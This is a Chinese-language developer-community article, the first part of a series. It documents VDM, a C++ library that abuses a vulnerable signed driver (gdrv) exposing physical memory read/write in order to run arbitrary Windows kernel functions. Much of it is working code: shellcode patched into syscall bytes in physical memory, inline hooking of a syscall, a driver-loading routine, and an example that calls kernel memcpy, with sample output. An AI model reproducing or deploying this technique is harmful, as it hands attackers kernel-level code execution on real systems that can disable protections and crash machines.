前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >VDM - 易受攻击的驱动程序操纵1

VDM - 易受攻击的驱动程序操纵1

原创
作者头像
franket
发布2022-05-29 00:59:13
3.9K0
发布2022-05-29 00:59:13
举报
文章被收录于专栏:技术杂记

提升到内核执行


每次在物理内存中发现 NtGdiDdDDICreateContext 的字节时,都会进行测试以确定是否已找到正确的内存。这个测试在 NtGdiDdDDICreateContext 的前几条指令上放置了一些汇编代码。然后调用 NtGdiDdDDICreateContext 来查看是否执行了所需的指令。最后不管情况如何,原始字节都被恢复了。

代码语言:javascript
复制
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
	static std::mutex syscall_mutex;
	syscall_mutex.lock();

	static const auto proc =
		GetProcAddress(
			LoadLibraryA(syscall_hook.second),
			syscall_hook.first
		);

	// 0:  48 31 c0    xor rax, rax
	// 3 : c3          ret
	constexpr std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
	std::uint8_t orig_bytes[sizeof shellcode];

	// save original bytes and install shellcode...
	vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
	
	vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
	auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
	vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);

	syscall_mutex.unlock();
	return result == STATUS_SUCCESS;
}

现在我们知道了 NtGdiDdDDICreateContext 的例程在物理内存中的正确位置;每次我们想调用内核中的特定函数时,我们可以在函数的开头安装一个内联钩子,然后在系统调用完成后恢复原始字节。在内核中定位特定的例程可以通过简单的算术来完成。内核模块基地址的位置可以通过 NtQuerySystemInformation 使用 SystemModuleInformation 简单地获得。这允许我们计算我们想要的任何内核函数的绝对虚拟地址。只需加载包含所需功能的驱动程序,然后从加载的驱动程序的基地址中减去它的地址,就可以生成相对虚拟地址。随后,可以对内核模块的基地址应用逆运算(加法)以产生所需函数的绝对内核虚拟地址。结合内联挂钩 NtGdiDdDDICreateContext 的能力,这允许 VDM 用户调用他们想要的任何内核函数。

将易受攻击的驱动程序与 VDM 一起使用


VDM 允许程序员轻松地将易受攻击的驱动程序集成到项目中,只需编写项目其余部分使用的四个函数即可。VDM 工作所需的四个函数是:vdm::load_drv、vdm::unload_drv、vdm::read_phys 和 vdm::write_phys。一旦对这些功能进行了适当的编程,库将负责其余的工作。大多数驱动程序映射和取消映射物理内存,因此在编程时 vdm::read_phys 和 vdm::write_phys 映射物理内存,使用 memcpy,然后取消映射物理内存。

目前该项目配置为使用 gdrv,但如果要换出驱动程序,则必须定义四个函数。您还可以通过更改vdm_ctx/vdm_ctx.h.

代码语言:javascript
复制
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem`", "ntdll.dll" };

vdm::load_drv


将此函数替换为加载驱动程序所需的代码……返回一个包含驱动程序句柄的 std::pair 和一个包含驱动程序注册表项名称的 std::string。键名是从loadup返回的。

代码语言:javascript
复制
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
	const auto [result, key] =
	    driver::load(
		vdm::raw_driver,
		sizeof(vdm::raw_driver)
	    );

	if (!result) return { {}, {} };
	vdm::drv_handle = CreateFile(
		"\\\\.\\GIO",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	return { vdm::drv_handle, key };
}

vdm::unload_drv


这段代码可能不会改变,它只是一个包装函数driver::unload,但它也会在尝试卸载驱动程序之前关闭驱动程序句柄......

代码语言:javascript
复制
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
    return CloseHandle(drv_handle) && driver::unload(drv_key);
}

vdm::read_phys


大多数驱动程序都会公开物理内存的映射。这意味着您需要映射物理内存,对其进行 memcpy,然后取消映射。这允许支持实际上只提供物理读写而不是物理映射/取消映射的驱动程序。

代码语言:javascript
复制
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
    // code to read physical memory. most drivers offer map/unmap physical
    // so you will need to map the physical memory, memcpy, then unmap the memory
}

vdm::write_phys


vdm::read_phys除了 memcpy dest 和 src 交换之外,这个函数可能包含相同的代码......

代码语言:javascript
复制
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
    // code to write physical memory... same code as vdm::read_phys
    // except memcpy dest and src are swapped.
}

VDM 示例


代码语言:javascript
复制
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::read_phys(addr, buffer, size);
};

// write physical memory using the driver...
vdm::write_phys_t _write_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);

const auto ntoskrnl_base =
reinterpret_cast<void*>(
    util::get_module_base("ntoskrnl.exe"));

const auto ntoskrnl_memcpy =
    util::get_kernel_export("ntoskrnl.exe", "memcpy");

std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);

short mz_bytes = 0;
vdm.syscall<decltype(&memcpy)>(
	ntoskrnl_memcpy,
	&mz_bytes,
	ntoskrnl_base,
	sizeof mz_bytes
);
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);

上面显示的代码的结果应该如下:

代码语言:javascript
复制
[+] drv_handle -> 0x100, drv_key -> frAQBc8Wsa1xVPfv
[+] NtShutdownSystem physical address -> 0x0000000002D0B1A0
[+] NtShutdownSystem page offset -> 0x1a0
[+] ntoskrnl base address -> 0xFFFFF80456400000
[+] ntoskrnl memcpy address -> 0xFFFFF804565D5A80
[+] kernel MZ -> 0x5a4d
[+] press any key to close...

限制


  • VDM 不适用于 HVCI 系统。
  • 系统调用上的内联钩子不是线程安全的,可能会导致系统不稳定。

结论


VDM 抽象了易受攻击的驱动程序的概念,该驱动程序将物理内存读写暴露给一种方法,您可以在该方法中调用您想要的任何内核函数。暴露此原语的大量易受攻击的驱动程序允许 VDM 更加模块化,因此比其他公共选项更具吸引力。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 提升到内核执行
  • 将易受攻击的驱动程序与 VDM 一起使用
    • vdm::load_drv
      • vdm::unload_drv
        • vdm::read_phys
          • vdm::write_phys
          • VDM 示例
          • 限制
          • 结论
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档